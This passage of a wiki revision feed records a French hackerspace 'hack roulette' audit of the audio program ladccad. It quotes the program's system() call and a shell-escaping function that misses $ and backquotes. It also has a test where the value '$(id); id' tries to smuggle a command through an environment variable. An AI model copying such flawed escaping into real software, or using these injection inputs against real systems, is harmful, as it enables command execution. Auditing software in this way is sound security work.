= Premiere roulette: ladccad =&lt;br /&gt;
ladccad&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
=== Phil ===&lt;br /&gt;
INSTALL&lt;br /&gt;
 apt-get install ladccad&lt;br /&gt;
 apt-get install jackd&lt;br /&gt;
&lt;br /&gt;
RUN&lt;br /&gt;
 jackd -d alsa&lt;br /&gt;
&lt;br /&gt;
VULNS?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ladccad/project.c:  err = system (cmd);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et la sanitization de ce truc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
char *&lt;br /&gt;
escape_file_name (const char * fn)&lt;br /&gt;
{&lt;br /&gt;
  char * escfn;&lt;br /&gt;
  size_t escfn_size;&lt;br /&gt;
  size_t fn_size;&lt;br /&gt;
  ptrdiff_t * escchars = NULL;&lt;br /&gt;
  size_t escchars_size = 0;&lt;br /&gt;
  const char * ptr;&lt;br /&gt;
  unsigned int i, j;&lt;br /&gt;
&lt;br /&gt;
  ptr = fn - 1;&lt;br /&gt;
&lt;br /&gt;
  while ( (ptr = strpbrk (ptr + 1, &amp;quot; |&amp;amp;;()&amp;lt;&amp;gt;&amp;quot;)) )&lt;br /&gt;
    {&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu&#039;on aura passé avant l&#039;exec du daemon?&lt;br /&gt;
ou utiliser opportunément une var existante avec les caractères que l&#039;on recherche &amp;quot;;XXXXX&amp;quot; par exemple.&lt;br /&gt;
&lt;br /&gt;
RUNNING:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
strace ladccad -d /tmp&lt;br /&gt;
...&lt;br /&gt;
futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0&lt;br /&gt;
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11&lt;br /&gt;
connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, &amp;quot;::&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, &amp;quot;::1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
connect(11, {sa_family=AF_UNSPEC, sa_data=&amp;quot;\0\0\0\0\0\0\0\0\0\0\0\0\0\0&amp;quot;}, 16) = 0&lt;br /&gt;
connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr(&amp;quot;0.0.0.0&amp;quot;)}, 16) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, &amp;quot;::ffff:127.0.0.1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== StalkR ===&lt;br /&gt;
&lt;br /&gt;
Par rapport au system(), oublie aussi les backquotes `` et ça c&#039;est bon.&lt;br /&gt;
&lt;br /&gt;
Par contre l&#039;exploitation via $ on ne peut pas lui faire exécuter une autre commande par &amp;quot;; cmd&amp;quot; ou &amp;quot;$()&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 $ cat &amp;lt;&amp;lt; EOF &amp;gt; test.c&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
 int main() {&lt;br /&gt;
        system(&amp;quot;echo $TEST&amp;quot;);&lt;br /&gt;
        return 0;&lt;br /&gt;
 }&lt;br /&gt;
 EOF&lt;br /&gt;
 $ gcc -Wall -o test test.c&lt;br /&gt;
 $ TEST=&amp;quot;test \$(id); id &amp;quot; ./test&lt;br /&gt;
 test $(id); id&lt;/div&gt;</summary>
		<author><name>StalkR</name></author>
	</entry>
	<entry>
		<id>https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2452</id>
		<title>Hack Roulette 1</title>
		<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2452"/>
		<updated>2010-03-04T21:18:10Z</updated>

		<summary type="html">&lt;p&gt;StalkR: /* StalkR */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Info =&lt;br /&gt;
* Quand? Jeudi 4 Mars de 20h a plus d&#039;heure...&lt;br /&gt;
* Ou? /tmp/lab&lt;br /&gt;
* Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.&lt;br /&gt;
* Pourquoi? Ca c&#039;est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...&lt;br /&gt;
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s&#039;amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c&#039;est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s&#039;améliorer dans une pratique de base de la sécurité informatique.&lt;br /&gt;
&lt;br /&gt;
= Participants =&lt;br /&gt;
* Phil&lt;br /&gt;
Si vous etes parano, as la peine de vous inscrire... venez juste :)&lt;br /&gt;
&lt;br /&gt;
= Script =&lt;br /&gt;
&lt;br /&gt;
Code analyzers:&lt;br /&gt;
* http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html&lt;br /&gt;
&lt;br /&gt;
Fuzzers:&lt;br /&gt;
* spike&lt;br /&gt;
* peach&lt;br /&gt;
* sulley&lt;br /&gt;
* Laurent Gaffié 10 lines of python&lt;br /&gt;
&lt;br /&gt;
= Premiere roulette: ladccad =&lt;br /&gt;
ladccad&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
=== Phil ===&lt;br /&gt;
INSTALL&lt;br /&gt;
 apt-get install ladccad&lt;br /&gt;
 apt-get install jackd&lt;br /&gt;
&lt;br /&gt;
RUN&lt;br /&gt;
 jackd -d alsa&lt;br /&gt;
&lt;br /&gt;
VULNS?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ladccad/project.c:  err = system (cmd);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et la sanitization de ce truc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
char *&lt;br /&gt;
escape_file_name (const char * fn)&lt;br /&gt;
{&lt;br /&gt;
  char * escfn;&lt;br /&gt;
  size_t escfn_size;&lt;br /&gt;
  size_t fn_size;&lt;br /&gt;
  ptrdiff_t * escchars = NULL;&lt;br /&gt;
  size_t escchars_size = 0;&lt;br /&gt;
  const char * ptr;&lt;br /&gt;
  unsigned int i, j;&lt;br /&gt;
&lt;br /&gt;
  ptr = fn - 1;&lt;br /&gt;
&lt;br /&gt;
  while ( (ptr = strpbrk (ptr + 1, &amp;quot; |&amp;amp;;()&amp;lt;&amp;gt;&amp;quot;)) )&lt;br /&gt;
    {&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu&#039;on aura passé avant l&#039;exec du daemon?&lt;br /&gt;
ou utiliser opportunément une var existante avec les caractères que l&#039;on recherche &amp;quot;;XXXXX&amp;quot; par exemple.&lt;br /&gt;
&lt;br /&gt;
RUNNING:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
strace ladccad -d /tmp&lt;br /&gt;
...&lt;br /&gt;
futex(0xb7d0ead0, 0x81 /* FUTEX_??? */, 2147483647) = 0&lt;br /&gt;
socket(PF_INET6, SOCK_DGRAM, IPPROTO_IP) = 11&lt;br /&gt;
connect(11, {sa_family=AF_INET6, sin6_port=htons(14541), inet_pton(AF_INET6, &amp;quot;::&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, 28) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(47455), inet_pton(AF_INET6, &amp;quot;::1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
connect(11, {sa_family=AF_UNSPEC, sa_data=&amp;quot;\0\0\0\0\0\0\0\0\0\0\0\0\0\0&amp;quot;}, 16) = 0&lt;br /&gt;
connect(11, {sa_family=AF_INET, sin_port=htons(14541), sin_addr=inet_addr(&amp;quot;0.0.0.0&amp;quot;)}, 16) = 0&lt;br /&gt;
getsockname(11, {sa_family=AF_INET6, sin6_port=htons(43007), inet_pton(AF_INET6, &amp;quot;::ffff:127.0.0.1&amp;quot;, &amp;amp;sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== StalkR ===&lt;br /&gt;
&lt;br /&gt;
Par rapport au system(), oublie aussi les backquotes ``, &lt;br /&gt;
Par contre avec $, ne marche pas avec &amp;quot;; cmd&amp;quot; ou &amp;quot;$()&amp;quot;.&lt;/div&gt;</summary>
		<author><name>StalkR</name></author>
	</entry>
	<entry>
		<id>https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2449</id>
		<title>Hack Roulette 1</title>
		<link rel="alternate" type="text/html" href="https://www.tmplab.org/wiki/index.php?title=Hack_Roulette_1&amp;diff=2449"/>
		<updated>2010-03-04T21:13:11Z</updated>

		<summary type="html">&lt;p&gt;StalkR: /* Results */  ajout section StalkR&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Info =&lt;br /&gt;
* Quand? Jeudi 4 Mars de 20h a plus d&#039;heure...&lt;br /&gt;
* Ou? /tmp/lab&lt;br /&gt;
* Quoi? Hack Roulette... on tire au hasard un logiciel... et on le défonce ;-) sortez vos fuzzer et vos debugger et hop.&lt;br /&gt;
* Pourquoi? Ca c&#039;est la question que tout le monde se pose, eh, ah, si on avait la réponse, eh...&lt;br /&gt;
Pour apprendre a trouver des vulnerabilités dans un logiciel, pour apprendre a fuzzer, pour s&#039;amuser, pour montrer a quel point la loi DADSI avec son interdiction de publier des failles est DEBILE car c&#039;est le SEUL moyen de savoir si son logiciel est vulnérable, enfin pour s&#039;améliorer dans une pratique de base de la sécurité informatique.&lt;br /&gt;
&lt;br /&gt;
= Participants =&lt;br /&gt;
* Phil&lt;br /&gt;
Si vous etes parano, as la peine de vous inscrire... venez juste :)&lt;br /&gt;
&lt;br /&gt;
= Script =&lt;br /&gt;
&lt;br /&gt;
Code analyzers:&lt;br /&gt;
* http://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html&lt;br /&gt;
&lt;br /&gt;
Fuzzers:&lt;br /&gt;
* spike&lt;br /&gt;
* peach&lt;br /&gt;
* sulley&lt;br /&gt;
* Laurent Gaffié 10 lines of python&lt;br /&gt;
&lt;br /&gt;
= Premiere roulette: ladccad =&lt;br /&gt;
ladccad&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
=== Phil ===&lt;br /&gt;
INSTALL&lt;br /&gt;
 apt-get install ladccad&lt;br /&gt;
 apt-get install jackd&lt;br /&gt;
&lt;br /&gt;
RUN&lt;br /&gt;
 jackd -d alsa&lt;br /&gt;
&lt;br /&gt;
VULNS?&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ladccad/project.c:  err = system (cmd);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et la sanitization de ce truc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
char *&lt;br /&gt;
escape_file_name (const char * fn)&lt;br /&gt;
{&lt;br /&gt;
  char * escfn;&lt;br /&gt;
  size_t escfn_size;&lt;br /&gt;
  size_t fn_size;&lt;br /&gt;
  ptrdiff_t * escchars = NULL;&lt;br /&gt;
  size_t escchars_size = 0;&lt;br /&gt;
  const char * ptr;&lt;br /&gt;
  unsigned int i, j;&lt;br /&gt;
&lt;br /&gt;
  ptr = fn - 1;&lt;br /&gt;
&lt;br /&gt;
  while ( (ptr = strpbrk (ptr + 1, &amp;quot; |&amp;amp;;()&amp;lt;&amp;gt;&amp;quot;)) )&lt;br /&gt;
    {&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
oublie $ dans la liste, donc potentiellement on remplace avec une variable shell qu&#039;on aura passé avant l&#039;exec du daemon?&lt;br /&gt;
ou utiliser opportunément une var existante avec les caractères que l&#039;on recherche &amp;quot;;XXXXX&amp;quot; par exemple.&lt;br /&gt;
&lt;br /&gt;
=== StalkR ===&lt;/div&gt;</summary>
		<author><name>StalkR</name></author>
	</entry>
</feed>